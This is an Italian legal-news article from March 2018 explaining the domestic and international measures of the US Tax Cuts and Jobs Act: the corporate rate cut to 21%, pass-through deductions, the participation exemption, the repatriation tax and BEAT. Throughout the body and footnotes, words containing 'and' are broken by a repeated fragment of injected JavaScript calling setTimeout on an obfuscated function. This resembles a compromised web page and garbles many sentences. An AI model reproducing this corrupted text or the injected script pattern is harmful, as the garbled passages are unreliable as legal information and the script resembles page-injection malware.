Novità legislative - 19 Marzo 2018

Riforma Fiscale Usa: misure interne e internazionali

La Riforma Fiscale Usa: Misure Interne ed Internazionali.

Lo scorso 22 dicembre il Presidente degli Stati Uniti, Donald Trump, ha firmato l’entrata in vigore del “Tax Cuts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Jobs Act”, ovvero la legge sulla riforma fiscale americana. La riforma è considerata la più importante negli ultimi trent’anni negli Stati Uniti e prevede una drastica riduzione delle imposte per le imprese USA con l’obiettivo di (i) incrementare la crescita economica interna e (ii) favorire il rimpatrio negli USA di denaro precedentemente detenuto all’estero. Il presente articolo illustrerà le principali misure interne ed internazionali di tale riforma fiscale.

Misure Interne

  • Riduzione delle imposte sulle imprese.

La riforma riduce l’imposta sul reddito delle imprese (corporate tax) dal 35% al 21%, eliminandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ando il precedente sistema fiscale proporzionale. Si tratta di una misura permanente.[1] Con questa significativa misura, l’attuale amministrazione USA intende incentivare le imprese americane ad operare entro i propri confini nazionali e creare nuovi posti di lavoro negli Stati Uniti.[2] Tale riduzione potrebbe anche avere un impatto rilevante sul mercato M&A delle multinazionali americane. Quest’ultime, infatti, potrebbero sfruttare la maggiore liquidità dovuta alla fiscalità ridotta per finanziare nuove operazioni di acquisizione di aziende americane ed estere.

  • Le implicazioni della riforma sulle cosiddette “pass-through entities”.

La maggior parte delle imprese americane sono organizzate come pass-through entities (PTE), ovvero società trasparenti. Le aziende così organizzate non sono infatti tassate direttamente sul reddito che producono, bensì la tassazione grava direttamente in capo ai soci, che includeranno nella loro dichiarazione dei redditi personale profitti o eventuali perdite della società, in proporzione alla propria quota di partecipazione sociale. Tipici esempi di pass-through entities sono le Limited Liability Company, le S Corporations, o le Limited Liability Partnerships. Nel sistema fiscale precedente alla riforma, le tasse sui redditi d’impresa e sui redditi personali erano entrambe organizzate secondo un sistema progressivo e, quindi, in quest’ottica, allineate. Ad esempio, nel 2017, le tasse sul reddito delle imprese variavano dal 15% al 39% mentre le tasse sul reddito personale variavano dal 10% al 39,6%. Pertanto, al momento della costituzione di una società, l’impatto fiscale costituiva uno dei maggiori fattori nella decisione della struttura societaria e, in particolare, nella scelta tra una C Corporation, società opaca, e una PTE, il cui reddito veniva appunto tassato direttamente in capo ai soci e non alla società stessa. Prima della riforma fiscale in questione, la PTE veniva spesso preferita alla C Corporation,.

La riforma prevede adesso una flat tax del 21% sul reddito d’impresa, indipendente dai valori di reddito generati, aliquota che potrebbe risultare inferiore rispetto alle quelle applicabili al reddito personale delle persone fisiche e, in particolare, quelle previste per i livelli di redditi personali più elevati. Ad esempio, le PTE che generano reddito fino a $ 157,500 non dovrebbero essere svantaggiate dalla riforma, dato che la nuova aliquota applicata a tale livello di reddito è del 24%, con una differenza minima del 3% rispetto alla flat tax del 21%. Molte aziende americane, strutturate come PTE, superano tuttavia i $ 200,000 di utili i quali, pertanto, in capo ai propri soci, sarebbero tassati con un’aliquota pari o superiore al 32% e, di conseguenza, un’aliquota svantaggiosa rispetto ad una C Corporation tassata al 21%.[3]

Per arginare tale disparità tra C Corporation e PTE dal punto di vista fiscale, la riforma, tuttavia, prevede per i soci di società strutturate come PTE una deduzione fiscale pari al 20%. Tale deduzione è tuttavia limitata richiedendo che il reddito personale di un socio di una PTE, se considerato individualmente, non superi $ 157,500 e, se sposato, complessivamente $ 315,000. Se tali benchmarks venissero superati, la deduzione è ulteriormente limitata alla somma maggiore tra (1) il 50% della somma complessiva degli stipendi pagati ai propri dipendenti o (2) del 25% della somma complessiva degli stipendi pagati ai propri dipendenti e il 2.5% delle somme pagate per l’acquisizione di beni ammortizzabili utilizzati nell’ambito del business della società.

Occorrerà, dunque, capire quale sarà l’impatto di tale nuova disparità tra le entità utilizzabili per avviare un’attività commerciale in USA e, soprattutto, se la predetta deduzione risulterà, o meno, efficace per arginare la predetta disparità.

  • Corporate Deductions.

La riforma crea una serie di deduzioni fiscali per le imprese americane dirette ad effettuare investimenti sul suolo americano onde sfruttare la deduzione fiscale di tali costi. Di seguito si riportano brevemente le più significative deduzioni fiscali per le imprese introdotte dalla riforma:

  • una deduzione del 80% del Net Operating Losses, e cioè della perdita operativa netta;
  • una deduzione del 65% dei dividendi ricevuti da una società americana partecipata al 20% ovvero, se la partecipazione è minore, la deduzione scende al 50%;
  • una deduzione del 100% dei beni aziendali acquistati ed utilizzati dopo il 27 settembre 2017 e prima del 1 gennaio 2023, dopo il quale la deduzione è ridotta del 20% progressivamente anno dopo anno. Questa probabilmente è la deduzione più importante per le aziende americane che ne favorisce, nel breve termine, l’effettuazione di investimenti attraverso l’acquisto di nuovi beni aziendali con la possibilità di portare in deduzione l’intero capitale investito.

Quanto all’abuso dello strumento della deduzione fiscale, la riforma ha limitato la deduzione degli interessi al 30%. La misura in questione sembra orientata a limitare l’abuso dello strumento della deduzione fiscale da parte di quelle imprese che riducevano in maniera significativa il proprio reddito imponibile sfruttandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ando proprio la deduzione degli interessi sostenuti per intero. Questo limite potrebbe soprattutto colpire le aziende che utilizzavano tale pratica in modo abusivo e, in particolare, le cosiddette leveraged companies, e cioè quelle entità che generalmente prendono ingenti quantità di denaro in prestito per finanziare l’acquisto dei propri assets, e che di conseguenza, adesso, si troveranno a dover rispettare il nuovo limite.

Misure Internazionali

Nel corso degli ultimi anni, le multinazionali americane hanno utilizzato strategie per portare i profitti generati sul suolo americano all’estero. Si stima che oltre $ 2.6 trilioni di profitti americani siano stati portati e tenuti all’estero. La riforma ha introdotto nuove misure di carattere internazionale – paragonabili ad un vero e proprio “scudo fiscale” – per favorire il rimpatrio dei predetti capitali con l’intenzione di favorire conseguentemente nuovi investimenti in USA.

  • La participation exemption.

In primo luogo, la riforma fiscale ha previsto una participation exemption, ovvero una esenzione fiscale delle plusvalenze realizzate in relazione ad azioni o quote di partecipazioni di società americane in società estere (“PEX”). Si tratta di una delle principali misure di carattere internazionale della riforma volta ad incrementare la liquidità delle imprese americane e, quindi, favorirne gli investimenti; ed è altresì questa la misura maggiormente porterebbe il sistema di tassazione delle imprese americano da un sistema mondiale, le cui tasse venivano applicate su tutti i redditi d’impresa prodotti ovunque, ad un sistema di tassazione ibrido.[4]

La nuova PEX consente solamente alle C Corporation di dedurre la totalità dei dividendi derivanti da una controllata straniera a patto che la stessa partecipi direttamente o indirettamente la controllata estera al 10% – o in termini di partecipazione al capitale sociale o in termini di diritto di voto – e che detenga tale partecipazione per almeno 366 giorni. Tale eccezione presenta tuttavia un limite significativo. Si evidenzia, infatti, come la riforma non preveda la possibilità di dedurre le plusvalenze realizzate dalla vendita della controllata estera da parte della controllante americana. La mancanza di questa possibilità potrebbe costituire un limite alle operazioni di M&A da parte di società americane verso società estere poiché consapevoli di non poter dedurre futuri realizzi derivanti da tali operazioni. Inoltre, la presente deduzione non è applicabile se il dividendo ricevuto dalla controllata estera è già stato portato in deduzione nel paese di residenza della società controllata che paga il dividendo stesso.

Infine, se si volesse comparare la PEX americana con quella italiana, si rileva come quest’ultima risulterebbe probabilmente più accessibile rispetto alla prima. Infatti, la legge fiscale italiana consente la deduzione del 95% dei dividendi ricevuti da soggetti tassati in Italia da controllate estere, senza che sia necessario un determinato periodo in relazione al possesso della partecipazione e senza che sia previsto un minimo quantitativo della partecipazione stessa.

  • Flat tax sul rimpatrio di capitali esteri.

La riforma introduce una flat tax sul rimpatrio da parte delle aziende americane di capitali detenuti al di fuori dai confini americani. In particolare, le aziende che vorranno intraprendere detto rimpatrio saranno tenute al pagamento di una tassa pari al 8% su assets non liquidi e del 15.5% sulle liquidità riportate in USA. La riforma obbliga anche le aziende americane che possiedono partecipazioni pari al 10% di aziende estere di includere nella loro dichiarazione dei redditi, a partire da quella relativa all’anno 2017, i profitti ottenuti dalle suddette controllate estere applicandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ando sugli stessi le medesime aliquote sopra menzionate previste per il rimpatrio.

  • La Anti-Base Erosion Provision.

In conclusione, la riforma ha disegnato un sistema, cosiddetto Anti-Base Erosion Provision (“BEAT”), per contrastare il fenomeno l’erosione delle basi imponibili effettuata dai gruppi di imprese attraverso pagamenti artificiosi tra società appartenenti al medesimo gruppo. In particolare, il BEAT, applicato ai gruppi di imprese con almeno $500 milioni di fatturato le cui deduzioni fiscali relative ai pagamenti a controllate estere del gruppo raggiungono il 3% della deduzione fiscale complessiva sul reddito imponibile, impone ai predetti gruppi di ricalcolare nel reddito imponibile le deduzioni fiscali ottenute per effetto di pagamenti a società controllate all’estero facenti parte del gruppo (modified taxable income). Nel caso in cui, considerandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ando il modified taxable income, le imposte da pagare risultassero superiori rispetto a quelle calcolate su una base di reddito imponibile al netto dei pagamenti verso controllate estere del gruppo portati in deduzione, il gruppo americano sarà tenuto al pagamento di un’aliquota pari al 10% sul modified taxable income fino al 2025 e un’aliquota pari al 12.5% dopo il 2025. L’obiettivo di tale aggravio fiscale è evidentemente quello di scoraggiare i gruppi multinazionali americani ad effettuare – abusivamente – pagamenti alle controllate del gruppo residenti all’estero per ridurre la propria base di reddito imponibile e quindi ottenere una illecita riduzione della imposizione fiscale interna.

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[1] Le misure che concernono il reddito delle persone fisiche sono temporanee entrandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ando in vigore nel 2018 ma terminandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ando nel 2025.

[2] Molte aziende tecnologiche americane hanno delocalizzato parte delle proprie operazioni in Irlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anda (dove le imposte sulle imprese sono al 12.5%) o altri paesi con una bassa fiscalità, le quali, adesso, potrebbero riportare i propri investimenti sul territorio americano. Per esempio, Apple ha annunciato un piano per rimpatriare in USA denaro spostato all’estero prevedendo di pagare circa 38 bilioni di dollari in tasse per attuare detto piano (Apple detiene quasi il 94% delle proprie liquidità all’estero).

[3] Per i redditi tra $ 157,500 e 200,000, l’aliquota sarà del 32%; per i redditi tra $ 200,001 e 500,000 l’aliquota sarà del 35%; per redditi superiori a $ 500,000 l’aliquota sarà del 37%.

[4] Tassazione su base mondiale è un sistema in base al quale il soggetto, una volta qualificato come residente, è assoggettato a tassazione su tutti i suoi redditi, ovunque prodotti. In base ad un sistema di tassazione su base territoriale la tassazione avviene in base alla localizzazione dei redditi nello Stato. Il sistema fiscale Americano è considerate ibrido poiché, sebbene sia prevista l’esenzione fiscale per i redditi prodotti all’estero, la stessa è applicata soltanto se determinate condizioni sono soddisfatte.

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